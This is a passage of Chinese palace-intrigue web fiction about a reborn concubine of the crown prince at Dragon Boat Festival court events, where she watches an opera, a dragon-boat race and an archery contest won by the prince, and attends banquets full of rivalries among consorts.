多数女眷都没忙着坐下歇息,而是由玉熙宫这边的宫人服侍着打理妆容。
槛儿虽然没上妆,但也被晒得面红耳赤,额头、鬓角跟后颈都是汗。
所幸她是东宫的人。
到了地方便立马有宫人领她到了一处净室,一番收拾后回了放着冰鉴的观戏厅,槛儿才终于感觉舒坦了。
她们所在的二楼是面阔五间带平台,进深三间的设计,可容纳百余来人。
裴皇后的位置在最北面的正中。
东宫女眷的位置设在裴皇后左下首的最前面,曹良媛和槛儿就按位份分坐在郑明芷身后的左右两边。
信王妃等一众皇亲国戚都坐在左边这一列。
槛儿旁边就是信王的一个侧妃,她们的后面是孩子们,都由乳母看着。
后宫妃嫔则以魏贵妃打头坐在对面,至于命妇们,则按品阶高低在整个厅堂的南面区域分列左右。
众人面前都摆着一张小案。
案上有宫人奉上的茶水点心,以及新鲜瓜果,瓜果都是切好冰镇过的。
碟子旁边搁着银叉子。
不过,在座之人不是德高望重的老王妃、太君,就是各个府上的当家大妇,或是世家高门出身的贵女千金。
大家平时走得斯文坐得端庄笑得矜持,言行举止处处透着优雅规矩。
所以即便有人跟槛儿一样,急需一些冰凉带汁水的瓜果解暑,这会儿坐那儿表面也都跟没事人似的。
丝毫不急着解渴。
几个年事已高的宗亲妇和诰命老太君和裴皇后说起话来,其他人则安静听着,时不时笑着附和两句。
而她们不动。
槛儿这个小昭训当然不可能动。
好在这样的事她上辈子没少经历,倒也没觉着这么等着有什么难熬的。
就是东宫这边的位置太显眼。
加上女眷少,没有孩子。
其他人只要往裴皇后方向看,就能注意到她们这边的不同寻常跟一举一动。
别看在场的这些贵妇们都自恃身份,不会纡尊降贵去谈论一个小妾。
可实际但凡与男女相关的事。
就鲜少有人不感兴趣的。
尤其当事人还是寡欲出了名的太子。
单凭这一点,在场的人就不可能不对东宫多出的这么一个美人儿好奇。
所以槛儿时不时就能感觉到投注到她身上的各种目光,至于这些人心里各自如何作想,就不得而知了。
好在小半刻钟后。
对面楼的戏台子上开唱了。
众人的注意力转移到了戏台上。
槛儿一直压制着身子的本能也挺耗费精力的,见状不禁暗暗松了一口气。
这场戏唱的是《钟馗嫁妹》。
其中钟馗的扮相狰狞又不失正气凛然,要驱除的各路妖魔鬼怪中有蛇、蝎子、蜈蚣、蟾蜍、壁虎五毒。
钟馗除五毒,正应了端午辟邪驱瘟的习俗。
这折戏武戏多。
唱戏的人使劲浑身解数表演特技。
一折戏唱罢。
从一楼传来男人们的喝彩声,女眷这边也赞不绝口,孩子们更是喜欢极了。
直嚷着别停,继续唱。
魏贵妃坐在妃嫔处的第一个位子上,看着自家孙儿活泼开朗的模样。
她眼珠子一转,扫了眼主位上的裴皇后和东宫的女眷,无奈般摇头笑道:
“要说逢年过节数谁最高兴,真就莫过于这些孩子了,一个个儿跟泼猴儿似的。
也亏得不是天天在跟前儿待着,要不然我这脑袋都能给他们吵炸了不可。”
这会儿正是中场休息的时候,没了戏台子上的声音,殿内就安静得很。
魏贵妃是当朝一等一的瘦美人。
她四十有五的年纪。
一身石榴红鸾衔金枝的夏日宫装,身形纤瘦盈盈似水,单看面相不过三十出头,格外一副我见犹怜的姿态。
跟将族出身且喜欢舞刀弄枪的裴皇后相比,魏贵妃简直就是蒲柳一般的存在。
向来以魏贵妃为马
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首是瞻的丽嫔,闻言捧场道:“对这个年纪的孩子来说,吃喝玩乐就是天大的事儿。
晖公子不到七岁,昱公子还不到五岁,要妾身来看两位公子和小郡主很乖了。”
睿王膝下有五子三女。
丽嫔口中的晖昱两位公子和小郡主皆为睿王妃嫡出,也最得魏贵妃喜欢。
“那是你没自个儿养过孩子,”魏贵妃吃下一小块寒瓜拭着唇角叹道。
“我在你这个年纪的时候,也是把睿王全权交由乳母和宫女太监们看着,基本上就没自己带过孩子。
如今稀罕上孙子孙女了才知道,养孩子实在不是什么易事,前些日子来我宫里小住,简直吵得我头疼。”
说着,她揉揉额角看向裴皇后。
“还是姐姐那儿好,没娃娃闹腾,清净。”
此言一出。
众人神色一阵微妙,就连角落里偷偷剥瓜子的人都停下来不敢剥了。
太子现下二十有一,算不得多大。
但按律,大靖男子十七即可成家。
寻常人家这般年纪的男子,不说儿女成群吧,至少一个孩子是有的。
更不要说皇家的男人。
像是信王、荣王、睿王和慎王,都是在迎娶各自的王妃前就有儿有女了。
宣王倒是娶了宣王妃后才有的孩子。
但他也是已经有三个了,其中一双儿女还是姜侧妃所出的龙凤胎。
这可是祥瑞啊。
姜侧妃为此得了不少赏呢。
反观太子,子嗣的影儿都没见着。
这两年每逢宫宴,魏贵妃都没少拿东宫没孩子的事儿跟裴皇后斗嘴。
“也不是所有孩子都闹腾。”
裴皇后老神在在,不以为意道。
“像是太子小时候就乖,想做什么顶多哼唧两声,挥挥手脚,基本没闹过。”
底下的人附和。
“殿下挚孝纯善,打小就知道心疼人。”
槛儿想象了一下几个月大的小太子,张着粉嫩嫩的小嘴儿哼哼唧唧,挥舞着小胖手小胖脚的画面。
她低了低头,拿帕子轻掩唇角。
“太子自来便孝顺。”
魏贵妃轻笑,眼神朝槛儿瞥了瞥。
“想来东宫今后的小主子也会随了太子,我瞅着东宫的这位新昭训倒是个好生养的,想必好消息也快了吧?”
随着她的话音落下,这回所有人的目光都光明正大地落到了槛儿身上。
第45章 太子爷:孤并不宠小昭训。
这人可真会替她招仇。
槛儿暗道。
正牌太子妃在这儿,还有曹良媛。
哪就轮得到她一个新晋的昭训,当众担负起给东宫繁衍子嗣的大任了?
再者女子能否有孕有时跟个人情绪有很大关联,上辈子她就因此吃过一次亏。
魏贵妃的这话。
换做任何一个心性敏锐之人怕是都会倍感压力,越是想怀越是怀不上。
魏贵妃摆明了不是刻意针对她一个人,而是要让裴皇后和东宫的人都不痛快。
但这种场合轮不到槛儿说话,她也只能适时装出几分尴尬和窘迫来。
郑明芷和曹良媛的脸色都不太好看,但她们也都不适合在这时候开口。
倒是裴皇后,还是一副风轻云淡的样子。
笑眯眯的。
“想不到有朝一日贵妃也会这么关心年轻人的子嗣问题,到底是年纪大了,操心的事都与从前不同。”
呃。
这可真是,遮都不带遮掩的。
下面的人顿时或喝茶,或叉起一片瓜果送入口中,或拿起帕子拭唇。
按说魏贵妃跟裴皇后不对付了这么多年,心性该早养成了,不至于被对方一两句话就激得沉不住气。
可谁叫她最在意年纪呢。
为了保持年轻,她可是出尽了百宝!
此时就这么被裴皇后点了出来,魏贵妃差点没气得喷出一口老血来!
该死的姓裴的。
嘲她年纪大,到底谁年纪大啊!
五十多了连个孙子都没抱上,她也好意思!
魏贵妃想骂回去,想说裴皇后半截身子都要入土了,也好意思说她年纪大。
可她不敢。
元隆帝喜欢女人是真,宠她也是真。
可他更敬重姓裴的这个正妻。
他能容许她们这些妃嫔偶尔耍耍小性儿,能把她的儿子立起来同太子争,却绝不允许有谁真对姓裴的不敬!
魏贵妃气得嘴唇都哆嗦了。
想寻个别的话头嘲回去,偏裴皇后同她说完话就跟几个老王妃聊了起来。
摆明了就是懒得搭理她!
魏贵妃的一口银牙都要咬碎了,迁怒地瞪了槛儿好几眼,心里冷笑连连。
是个好生养的又如何?
真以为她不知道吗?
下不了种,田再肥也没用!
揭过这一茬。
第二场的《东方朔偷桃》是一折滑稽诙谐的短戏,差不多三刻钟就唱完了。
听罢戏,便是龙舟竞渡的环节,帝后率众人移驾到太液池东的椒园观赛。
依旧是设了男女大防。
元隆帝领着众皇子大臣去了瑞蔼堂的观赛台,裴皇后带着槛儿等女眷和孩子们在观澜亭及其西侧水榭。
三处地方之间有桥廊相连。
彼此可遥遥相望,只两处亭榭之中垂有竹帘纱幔,倒是让人看不清全貌。
今年的龙舟赛跟往年一样。
参赛的主要为京城几个军营和亲军二十六卫中的年轻将士和武官们,还有以康国公世子、勇国公世子为首的一众好武的公侯子弟。
随着鼓声和礼炮响起。
一条条龙舟从万岁山北边的金鳌码头出发。
宛如离弦之箭也似一路往南,最先抵达玉河桥南面的龙门旗下获胜。
元隆帝尚武,不拘小节。
每回逢上这样的环节他这个皇帝比谁都起劲,不但允许众臣不必顾虑御前仪态,能在岸边呐喊助威。
还可押注赌哪个队获胜的。
于是很快,男人们那边就热闹了起来。
女眷们这头没有他们豪放。
哪怕隔着一层纱幔。
有些面皮薄的姑娘们。
光是听着龙舟上那群年轻男人们喊号子的声音,也还是羞得面红耳赤。
看得旁边的少夫人直打趣。
不过,裴皇后惯是个豪爽的。
横竖龙舟队的儿郎和男客们都隔得远,她便也没太过拘着女眷们。
水榭的帘子没撤。
想出去看的出去看,愿意守礼的就留在亭子里和水榭里面观赛。
然后她带头出去了,身后哗啦啦跟了一串性情外向的夫人和闺秀们。
魏贵妃不屑为伍。
和一众自愿恪守礼法,亦或者性情内敛的夫人小姐留在水榭里观赛。
槛儿也随裴皇后到了水榭外的围栏前。
上辈子她面薄又守礼,凡事都以规矩为先,以至于从没好好看过一场龙舟赛。
重来一回必要的规矩要守,但能变通的,槛儿决计不会再为难自己了。
正值骄阳当头,太液池上波光粼粼,一支支龙舟队伍风驰电掣从北面冲来。
“父王!父王!”
慎王府五岁的小世子看到了最前面那条龙舟上的慎王,扯着嗓子喊了起来。
槛儿顺着望过去,果然看到了慎王。
慎王是婉妃的儿子,比太子大三岁。
现年二十有四,生得虎背熊腰壮得像座小山,相较于太子的健硕慎王更显壮。
即便隔着这么远的距离,也能看到他袒露的双臂上鼓动偾张的大块肌肉。
五个成年皇子,只有慎王参加了划龙舟。
没多会儿。
龙舟队伍从她们所在的水榭前经过,有几个姑娘红着脸躲到了纱幔后面,郑明芷和曹良媛也侧身避了避。
槛儿没避。
反正也有人没避。
龙舟队伍的击鼓声和儿郎们的口号声震耳欲聋,听得槛儿热血沸腾。
两辈子,她还是头一回切身体会到这种激情与震撼,她感觉好爽快!
“六哥,那就是你新纳的妾啊?”
瑞霭堂观礼台。
八皇子简王拿手肘拐了一下正和官员说话的骆峋,眼睛盯着水榭方向。
骆峋看向他。
寡淡的眼神里带上了一丝凉意。
“非礼勿视。”
简王现年十八,生得肥头大耳。
由于过早沉湎男女情事,他面黄发虚,两只细小的眼睛也略显浑浊。
简王素来怕他六哥,但这人有时候就爱犯点儿贱,典型的记吃不记打。
闻言,他不以为意道:
“你的妾,你有什么非礼勿视的?总不能你晚上都不看她吧,六嫂是从哪……”
“来人。”
骆峋的神情淡漠,看似与平常无异:“简王晒昏了头,将其请下去醒醒神。”
立马上来两个太监。
“简王殿下,请。”
简王终于把视线从水榭那边收了回来,扭头对上他六哥一成不变的冷眼。
他习惯性眼神躲闪。
随即有些色厉内荏道:“六哥何至于此,不过就是看了你那新妾两
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眼……”
“光天化日言语轻佻,轻慢女眷,你若不服,孤即刻与你面见父皇如何?”
简王瞬间不说话了,撇撇嘴不敢怒也不敢言地转身跟那两个太监走了。
待人不见了踪迹。
一旁的七皇子宣王方才敢出来安抚道:“六哥勿恼,老八混账又不是一天两天了,你大人不记小人过。”
宣王比骆峋小一岁。
身形清瘦挺拔,容貌俊朗。
因为打小爱笑,比起其他几位成年皇子,宣王更显少年意气与平易近人。
骆峋睨他一眼,未置一词。
宣王倒不怕六哥的冷脸。
也不是要替老八说话,而是他担心六哥在人前表现出了对那位新妾的维护,会让其他人生出什么旁的心思。
骆峋看出来了,所以没说话。
但他心里是不予赞同的。
且不提他并不宠小昭训。
即便今后真宠了,他也不会因为顾及旁人的阴谋诡计而刻意冷落她。
若连宠爱一个无权无势的女子都要身不由己,那他如何有能力坐上那个位置,将来又如何治理好大靖江山。
“殿下。”
海顺不知何时猫了过来。
当着宣王的面说了句只他和太子听得懂的暗语,骆峋淡淡点头表示知道了。
掩在袖下的手指捻了捻。
龙舟竞渡结束。
慎王率领的龙舟队拔了头筹,彩头元隆帝暂时没赏,道是射柳结束后一起赏。
槛儿方才被龙舟竞渡的热闹激得心潮澎湃,但她没有忘记接下来的射柳。
射柳在南台举行。
槛儿一行人移步过去时。
那条横亘南北的河道一侧岸边的绿柳上,已经绑了数十只装有鸽子的葫芦。
葫芦经过特殊处理。
里面的鸽子不至于被闷死。
但因着是活物,会动弹挣扎,加上柳条细,所以葫芦们一开始就晃动个不停。
可见有多考验箭术了。
信王半个多月前被睿王坑了一把,遭禁足两个月,时限还没满,今儿日子特殊他被临时解禁了一天。
不过他不擅弓马。
便由他的儿子,即皇长孙骆晔代劳。
骆晔现年十七,生得丰神俊朗。
作为元隆帝的第一个孙子。
即便不是嫡孙,骆晔也颇受元隆帝喜爱。
名副其实的龙孙,又受宠。
这让他即便熟知皇家的争权夺利且胸有城府,也仍旧养出了一身的英姿意气。
以至于他一下场,女眷观景楼那边就有情窦初开的小姑娘羞红了脸。
“我们晔哥儿真是长大了,稍后还得请晔哥儿手下留情,让让我们这些老骨头了。”
睿王走过来,笑盈盈的。
他穿着一身藏青色王爷**袍,气质温润如玉,酷似魏贵妃的桃花眼笑起来为他平添了一股风流。
骆晔明朗一笑。
“三皇叔就不要打趣侄儿了,莫说诸位皇叔正当壮年,龙马精神。
便是日后真上了年纪,也轮不到侄儿手下留情,再者论箭术,还当是六皇叔。”
说着。
他仪态端方地朝走在睿王前面的太子躬身作了个揖,半是玩笑半是认真。
“待会儿还请六皇叔手下留情,给侄儿留些面子,侄儿感激不尽。”
第46章 太子夺魁!
不得不说,骆晔不愧从小生在皇家,说起话来胸有沟壑,进退有度。
看似谁都没得罪,既展现了他对皇叔们的敬重,最后又把话引到了太子头上。
给太子挖了个小小的坑。
意思就好比。
他身为晚辈,礼数都如此周全了。
若稍后太子还丝毫情面也不讲,在外人看来那就是他做长辈的器量狭窄了。
睿王暗骂了声狐狸崽子。
面上却是很配合道:“这你还真是求对人了,你六皇叔武艺精湛,每回有他射柳,头彩必定是他的。”
其实睿王有时候都怀疑,父皇是不是故意借这些活动来给老六送钱了。
不然为什么会明知老六的功夫好,还每回都让他参加这样的活动?
可再想这几年父皇对东宫的态度,睿王又觉得自己的怀疑有些想当然耳了。
心思百转。
睿王拍拍太子的肩。
一副兄长待弟弟的亲和模样:“若不这回的头彩便叫晔哥儿拿了去吧。
最近他父王在考虑为他议亲,让他当着闺秀们的面大展一番身手,没准不日咱们就能喝上侄儿媳茶了。”
皇家子弟议亲。
从来都是以利为先,什么时候需要靠这等孔雀开屏的手段掳获芳心了。
叔侄俩一唱一和,分明就是熟知太子的性情,故意当众把太子架了起来。
信王在楼上围栏旁观望。
刚下场的慎王摸着下巴,一副看热闹不嫌事大的样子,只有宣王真心替自家六哥觉得这两人忒烦人。
明明信王和睿王这半个月因为皇长孙斗得厉害,睿王手下的得力臂膀都被对方设计给砍了,折损不小。
这会儿这俩倒一副叔侄好的做派了。
宣王暗啐了一口。
刚要开口打圆场。
就听他六哥的声音一如既往的漠然:“恃人不如自恃,与其靠旁人施舍颜面,不若精进学识凭真本事取胜,如此也不至于叫人道你胜之不武。”
说完,看向睿王。
“蒙以养正,三哥往后还是不要教其如此投机取巧之法为好,千金何辜。”
他轻描淡写。
神态语气听着毫无批评教育之意,甚至说完就转身从侍卫手中接过了弓箭,为接下来的射柳做准备。
然而看似镇定的骆晔双颊却微微泛起红来,睿王嘴角的笑也变得有些勉强。
好个老六!
“六皇叔说的是,侄儿受教了。”
骆晔拱手道。
睿王哈哈两声:“太子虽还未为人父,教孩子倒是有一套,为兄也受教了。”
骆峋调整弓箭。
不屑理会此等口舌之辩。
他也不会刻意在这种场合藏拙,众所周知的事,藏拙只会弄巧成拙,
女眷这边听不清场中的皇子们说了什么,但想也知道是在打嘴仗,且看样子睿王和皇长孙都没讨到好。
魏贵妃暗瞪了裴皇后好几眼。
信王的生母德妃倒像是没看到场中的情形,笑容满面地同官夫人说着话。
槛儿默默观察了几息。
重新把注意力放到场中。
二皇子荣王腿脚不便,八皇子简王不会武艺,他俩也不参加此次射柳。
场中的皇子便有睿王,慎王,太子,宣王,皇长孙以及十四岁的九皇子。
睿王擅文,武艺平平。
慎**不成,但在武学方面是个有勇有谋的武夫。
宣王是几个成年皇子里,唯一能和太子打得旗鼓相当的。
皇长孙和九皇子两个身量还未长成的少年郎,武艺只比睿王好一点点。
其余参加今日射柳的还是御前亲军二十六卫和三大营的年轻将领,以及有心在元隆帝跟前表现的勋贵子弟。
随着一声钟响。
众人各就各位。
元隆帝从观赛楼下来。
站到河堤的中间高处,长臂一扬。
立马有侍卫上前为帝王呈上一把约六尺见长,通体漆黑,印有五爪金龙的弓,以及长近三尺的朱漆箭矢。
元隆帝身姿笔挺,威严慑人。
犀利的凤目往对岸那个晃动的巨型葫芦一扫,下一刻,搭箭拉弓。
此乃帝王开箭。
由皇帝在射柳前射出第一箭,意在为国为民祈福,驱邪避灾,同时也表现了帝王对本朝军事的重视。
帝王开箭,即便再畏惧龙威也要肃然观望,女眷这边都事先来到了围栏前。
只听得“嗖”的一声。
离弦之箭势如破竹,巨型葫芦应声而裂,几只鸽子扑棱着翅膀刷刷飞向高空。
鸣鼓乐声响起,众人高呼。
“陛下万岁万万岁!陛下万岁万万岁!”
元隆帝朗笑,自高台一跃而下。
等元隆帝回了观赛楼,槛儿听到周围隐隐响起了一阵克制的吁气声。
很显然,众人都被元隆帝的龙威给震慑了。
河堤很长,射柳的数十位青年才俊间隔着一尺多宽的距离齐齐站成一排。
槛儿抚了抚心口,把视线定格在站在队伍左侧第一个位置的太子身上。
元隆帝一声令下。
三道震天鼓响,所有人搭箭拉弓。
下一刻!
末端插杏黄雕翎的箭矢疾如雷电,竟是眨眼间比所有箭都要快地冲了出去。
众人没来得及惊叹。
十多丈外那个不停晃动的葫芦就裂开了。
鲜活的白鸽突破束缚直冲云霄,一片雪白的羽毛在空中打了个转。
随即接二连三有鸽子扑棱着翅膀飞出来,但独独最初的那只飞得最高,最远。
骄阳似火,晴空**。
有风迎面吹来,鸽子的咕咕声此起彼伏。
没有意外发生,什么也没发生。
槛儿望着翱翔在蓝天之下的鸽群,心里有种说不出的,比刚刚看龙舟竞渡还要来得汹涌澎湃的激荡。
忍不住笑,但眼眶润润的。
裴皇后不经意扭头。
就见东宫的这位小昭训脸蛋红扑扑的,美目含着泪光却亮得惊人。
笑得明媚灿烂,像是庆幸又像是崇拜,像是在由衷地为太子夺魁而高兴。
裴皇后都不记得自己有多少年没看到这样的笑脸了,不由得怔了怔神。
反应过来后,她看向场中的儿子。
也笑了。
“三叔,怎么了?”
场上。<
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br>骆晔把弓箭交给身旁的太监,回过身见睿王低头看着手,骆晔不禁问道。
睿王收起手。
藏起眼底的阴郁,无奈地叹气。
“你先前还说你皇叔正当壮年,龙马精神,结果呢?三叔的葫芦都没破,我都在想我这双手是不是太没用了。”
确实太没用了。
骆晔暗笑。
他的这位三叔确实不擅武。
但好歹也跟着武师傅学了多年。
往年好歹能把鸽子放生了,结果到了今年反倒连葫芦都没破,刚满十四岁的九皇叔都表现得比他好。
也不知皇祖父看到这样的三叔会怎么想。
心里贬了睿王一通。
骆晔笑着宽慰道:“人各有所长各有所短,三叔只是不擅弓马,学识却是一等一的好,您何至于自贬。”
睿王心里有事,懒得跟这小子虚与委蛇,敷衍了两句随其他人往楼上走。
侧目看到由人服侍着净手的太子。
睿王不显地皱了皱眉。
注意到睿王的身影上了楼,骆峋朝对岸望了一眼,眸底掠过一丝冷笑。
龙舟竞渡的魁首赏赐是一对儿纯金打造,刻着“御赐”俩字的碗,和一套云锦织**袍,外加刻着“端午嘉赏”几个字的五百两银子。
不过龙舟赛是团体作战。
所以慎王得了一只金碗,**袍和五十两银子,剩下的则按人头出力高低分。
榜眼舟和探花舟也都得了赏。
射柳的魁首彩头是五十两黄金,江南织造局进贡的宫缎十匹和一坛子菖蒲酒。
元隆帝直接命人送去了东宫。
槛儿她们这边看不到元隆帝赐赏的情形。
但这并不影响众人向太子妃、慎王妃,以及其他丈夫拿了名次的夫人们贺喜。
郑明芷大大方方接受大伙儿的巴结奉承,同时脸上恰如其分地带着一个妻子对丈夫该有的倾慕之意。
曹良媛此前代表东宫参加了不少大大小小的宴,自然也受了一番贺喜。
和她们比起来,无人问津,只能立在一旁的宋昭训就显得很落寞可怜了。
姜侧妃捏捏龙凤胎儿子的小手,还是打消了找这位宋昭训说话的念头。
直觉告诉她,这人是重生的。
可那又怎么样呢?
反正她是不会因为知道对方未来能坐上凤位,就舔狗似的跑去巴结讨好她。
说白了。
这些古代女人到最后再有权有势,终究还不都是靠男人?好像没了男人她们就干不出一番事业似的。
哪像她。
只要略施小计,宣王就被她训成了狗。
她还能写小说。
哦不对,这里应该叫话本子。
她会做美食,会写话本子,会经营铺子。
她可不像这些古代宅门里的小妾,只能依附男人,靠**卖色才能活。
所以,巴结是不可能巴结的。
这辈子都不可能。
姜侧妃收回目光,嘴角的笑略带鄙夷。
真亏这位宋昭训重生了也只想着给人做**的妾,出宫干一番事业不好吗?
所以说呐。
这些古代女人就是贱!
第47章 让太子废了她?!
今年的夏日比往年来得热,从前会举办的蹴鞠赛和打马球今年就没有安排。
射柳结束,在外举行的活动即到此结束。
元隆帝和裴皇后就在观赛楼这边,分别给群臣和女眷赐了端午宴。
这样的宫宴自然不讲究食不言。
用宴期间偶尔会有人同裴皇后说话,临近的人时不时也会小声交谈。
正中间则有皇家的歌姬伶人和着乐声献舞,如此一顿宴倒也不枯燥。
槛儿的左边是曹良媛。
右边是信王的一个侧妃。
两者都没有同她交谈的意思,她就兀自专注地吃着宴,赏着歌舞,再偶尔听听裴皇后和别人说话。
但不知是她的错觉还是怎么。
开宴没多久,槛儿总能感觉到一道区别于别人打量她的视线往身上黏。
她装作不经意看过去时,视线便消失了。
如此反复了几回。
槛儿索性没管,谁知竟让她歪打正着,和南面命妇席的一个人对上了眼神。
却是顺国公夫人。
即郑氏的娘,太子的岳母。
对方四十出头的年纪,圆脸细目阔鼻,容貌端正,气质富态沉稳,一身正一品的命妇装扮更显大妇风范。
上辈子槛儿和顺国公夫人打过的交道屈指可数,且大多都是在东宫,她没有位份或者位份还不高的时候。
比起郑氏,顺国公夫人更擅伪装且知分寸。
槛儿没忘记。
当初她还在嘉荣堂偏殿住时,每回顺国公夫人进宫来探望郑氏,郑氏都会叫她到跟前端茶倒水什么的。
顺国公夫人瞧不起她,但不会对她摆老夫人的谱,不会使唤她或者折腾她。
她比郑氏更清楚,不看僧面看佛面。
所以顺国公夫人不曾使手段折辱过她,对方只会用那双慈悲的眼打量货物般看她的脸,盯她的身前身后。
后来郑氏被赐死,庆昭帝不知为何对顺国公府的惩治比她想象中还要重。
不仅削了爵,抄了家。
判郑家全族流放两千里,还寻由头砍了顺国公和顺国公夫人的脑袋。
多年前就被抄家砍了头的人此时看着自己,槛儿不觉得怕只觉得无言。
没去猜测顺国公夫人此刻的想法,槛儿权当没发现对方,默默收回了视线。
宴罢。
两行人又浩浩荡荡地离开西苑,群臣和他们的家眷再分别到乾元殿和坤和宫与帝后拜别,最后相继出宫。
不过,今年的端午到这儿还没有过完,晚上还有一场皇家自己人的家宴。
时间有限。
各府的王妃侧妃,公主以及孩子都被领到事先安排好的地方休整。
槛儿她们也不回东宫。
就在坤和宫的一处偏殿歇脚。
曹良媛这回不走了,从始至终和槛儿一起,连歇息的屋子都要在同一间。
槛儿没觉得什么,倒是跳珠气得够呛。
趁人去净房的功夫嘟囔:
“真当殿下动不动就往后宫跑啊,没见坤和宫这会儿到处都歇着女眷吗?
本就累得够呛了,好不容易逮着时间歇会儿还要顾着旁人,当真是……”
槛儿示意她不要说了。
曹良媛的位份比她足足高三阶,她根本没有立场和资本拒绝对方。
人家既然都不嫌和她在一间屋子里歇息,那她也不必顾忌太多。
于是,等曹良媛在净室收拾一番后出来,槛儿已经在一侧的榻上睡着了。
跳珠小声道:“昭训主儿实在撑不住,便先歇下了,还请良媛主子见谅。”
曹良媛瞅眼槛儿,嘴角抽了抽。
倒是比她还金贵娇气了。
真是小姐的身子丫鬟的命。
约莫酉时初。
换了常服的裴皇后领着歇息过后,重新容光焕发的一众女眷到交泰殿赴宴。
虽说是家宴,但除了裴皇后能和元隆帝坐在一起,和宗室男子有所交谈外。
后宫妃嫔和槛儿她们这些女眷,是不能跟外男接触的,仍旧是男女分席。
东西两侧以帘幕,遮挡彼此的视线。
等槛儿她们安顿好,男客们才相继进殿,一身龙袍的元隆帝最后登场。
众人齐齐起身向君父行礼。
开宴后,女眷们这边自然是一派斯文端庄,说笑声也是非常的克制。
男客那边就热闹多了。
推杯换盏中一会儿聊些可以摆到明面上来谈的军事政务,一会儿探讨起了经史典籍,完了扯到最后,基本都要赞美两句元隆帝和裴皇后。
中间自然少不了几个皇子打嘴仗,这时候女眷这边的气氛也会变得很微妙。
槛儿一番观察下来,发现她们东宫跟人对上的次数竟然是最少的。
原因很简单,太子的话少。
且他每回开口就能叫人无言以对,次数多了,几个皇子就不愿跟他扯皮了。
如此倒给槛儿她们省事了。
“娘娘,侧妃娘娘……”
槛儿正借欣赏歌舞,竖着耳朵听男客那边的动静呢,忽然感觉衣裳被扯了扯。
她循声低头。
便见宣王家刚满三岁的嫡出小郡主,不知什么时候从娃娃席跑过来了。
胖乎乎的小手攥着她的衣裳,仰着小脑袋,拿湿漉漉的大眼睛瞅着她。
乳母额上浮着一层汗,想抱女娃娃走,然而小女娃揪着槛儿不松手。
其他人都看了过来,神色各异。
宣王妃过来要把女儿抱走。
“不要不要,这个新侧妃娘娘……”
小丫头脑袋摇成拨浪鼓。
要往槛儿怀里钻,大有自家母妃再扒拉她,她就哭给她看的架势。
有人笑出了声。
看东宫三位女眷愈发别有深意。
曹良媛的表情差点
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没绷住。
小郡主哪看得懂大人们的脸色,她只知道在场的都是王妃、侧妃和公主姑姑。
她认识太子妃婶婶。
剩下的两个就是六皇伯的侧妃咯。
她不喜欢侧妃,因为侧妃会抢走爹爹,会让娘不高兴,可她喜欢好看的人。
六皇伯的新侧妃真好看!
小孩子的童言在场的人可不管,她们中间很多人等着看东宫的笑话。
槛儿察觉到了。
这种时候她越表现出尴尬无措,越落了东宫的颜面,再说她也没觉得尴尬。
“小郡主,我不是侧妃娘娘。”槛儿站起来,落落大方对小女孩解释道。
小郡主眨眨眼,伸手要往槛儿抱。
“瑜姐儿不可无礼。”
宣王妃板着脸,抓住女儿的手往外拉,“忘了母妃平日里怎么教你的了?”
瑜姐儿还是怕母妃的。
小嘴儿瘪了瘪。
宣王妃趁机把小丫头抱起来。
这时,小丫头忽然指向某个方向,脆脆道:“这个娘娘好看,比她好看!”
众人顺着她指的方向看去。
却是姜侧妃。
姜侧妃猛地被刚喝进嘴里的寒瓜汁呛着,捂嘴咳了好一会儿都没缓过来。
她就说古代女人贱吧!
小小年纪什么不学,学雌竞!
“哈哈哈……”
慎王府的林侧妃早上被姜侧妃下过脸子,这会儿笑得腰都直不起了。
“小孩子看事情就是简单,看到什么就是什么,姜侧妃你别放在心上啊。”
话是如此,笑却没停。
其他人也没想到小丫头会突然语出惊人,反应过来后不少人跟着忍笑。
宣王妃看着咳红脸的姜侧妃,有片刻的愣神,随即摸摸女儿的脸,眼底闪过一丝不显的无奈和苦涩。
“对不住了宋昭训,”
“这丫头被我宠坏了,不知规矩多有冒犯,我向你赔不是,还请多包涵。”
槛儿上辈子没见过宣王妃。
彼时她有资格出东宫参加宫宴时,眼前的这位宣王妃已经不在世了。
据说是为妻妾争宠,疯魔了。
使了腌臜手段意图陷害姜侧妃,结果自食其果,被宣王废了王妃之位。
最终带着女儿**了。
“王妃言重了。”
槛儿只当没看出宣王妃和姜侧妃之间的微妙气氛,不卑不亢地笑道。
“能得小郡主称赞,是妾身的荣幸。”
姜侧妃顿时瞪过来。
这个宋槛儿什么意思?
她居然把那丫头片子的话给认下了?
觉得她比她好看??
有没有搞错!
她一个正儿八经上了皇家玉牒的二品亲王侧妃,宋槛儿区区一个七品昭训,有什么资格跟她相提并论!
信不信她把这事告诉宣王。
叫宣王开口让太子废了她?!
第48章 太子:“走吧。”那便是六皇叔的新妾?
槛儿看明白了姜侧妃的眼神。
暗觉好笑。
且不提宣王会不会因为这么一件小得不能再小的事,插手东宫后院。
就算会。
太子也不可能为了外面王府里,一个跟他不相干的侧妃而废了自己的侍妾。
若不然事情传出去,旁人如何想他这个储君,又该如何想他此举暗藏的深意?
何况太子也不是这样的人。
也不知姜侧妃哪来的底气,觉得凭她一个侧妃能干涉得了东宫后院的事。
不过……
槛儿目送宣王妃抱着瑜姐儿回了座位,余光往姜侧妃的位置瞥了瞥。
她认识这位姜侧妃的时候。
对方已经是宣王妃了。
且每回宫宴,姜侧妃都看似礼数周全,实则不管是看其他王妃公主,还是看和她曾经一样是妾室的侧妃。
这位姜侧妃的眼里都总会带着一丝高高在上,像是不屑与她们为伍。
平等地看不起所有女眷。
槛儿不明白对方的这种优越感来自何处,如果单是因为宣王对她的宠,倒也不至于高傲到那等地步。
临近亥时,这场家宴终于结束。
时辰不早了。
众人不必再到乾元殿和坤和宫拜别帝后,元隆帝也没再让儿子们伴驾。
直接领着众宗亲先走了。
随后裴皇后带着宗亲妇与后宫妃嫔离了席,剩下的皇子公主则按长幼尊卑,携家眷相继离开交泰殿。
来的时候都有仪仗,回时就简单多了。
槛儿三人从殿内出来时,送她们回东宫的轿辇、肩舆已经停在了外面。
太子正立在他的八人抬轿辇前,和交泰殿两个掌事的太监说着什么。
郑明芷领着槛儿她们过去。
两个太监见了礼,恭敬退下。
太子回过身。
他早换下了朝服,这会儿穿着件杏黄底的窄袖常服,大抵是喝了酒,他清冷的眼底浮着些许罕见的朦胧。
不过槛儿没盯着看。
只在他转身时瞥了眼,便垂下了眼帘。
骆峋的视线扫过东宫的三位女眷,经过槛儿时顿了顿,旋即很快收回。
“走吧。”
他语气淡淡。
低沉的嗓音夹杂着两分酒后的清哑。
等他们动身,信王一家子才从殿内出来。
骆晔百无聊赖地左右环视,眼瞅着送他六皇叔一家的队伍渐行渐远。
他打了个哈欠,准备收回视线。
